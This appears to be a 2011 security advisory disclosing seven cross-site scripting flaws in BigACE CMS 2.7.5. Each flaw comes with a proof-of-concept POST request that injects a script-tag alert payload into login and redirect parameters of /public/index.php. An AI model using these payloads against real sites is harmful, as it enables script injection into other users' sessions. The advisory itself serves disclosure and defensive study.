Title: BigACE CMS - XSS Vulnerabilities Software : BigACE CMS Software Version : 2.7.5 Vendor: http://www.bigace.de/ Vulnerability Published : 2011-10-11 Vulnerability Update Time : Status : Impact : Medium Bug Description : BigACE Content Management System(version update : 2.7.5) is vulnerable to XSS. Proof Of Concept : 1)language in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7 ------------------------------------ UID=1&language="><SCRIPT>alert("demonalex");</SCRIPT> 2)UID in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7 ------------------------------------ UID=1&language=de&UID="><SCRIPT>alert("demonalex");</SCRIPT>&language=de 3)REDIRECT_CMD in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len ------------------------------------ REDIRECT_ID=-1&REDIRECT_CMD="><SCRIPT>alert("demonalex");</SCRIPT>&UID=1&language=de&UID=1&language=de 4)REDIRECT_ID in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len ------------------------------------ REDIRECT_ID="><SCRIPT>alert("demonalex");</SCRIPT>&REDIRECT_CMD=admin&UID=1&language=de&UID=1&language=de 5)PW in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len ------------------------------------ UID=admin&PW="><SCRIPT>alert("demonalex");</SCRIPT>&language=en 6)UID in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len ------------------------------------ UID="><SCRIPT>alert("demonalex");</SCRIPT>&PW=123456&language=en 7)username in /public/index.php , PoC: POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_kpassword_len ------------------------------------ password=do&username="><SCRIPT>alert("demonalex");</SCRIPT> Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx Pentester/Researcher Dark2S Security Team/PolyU.HK
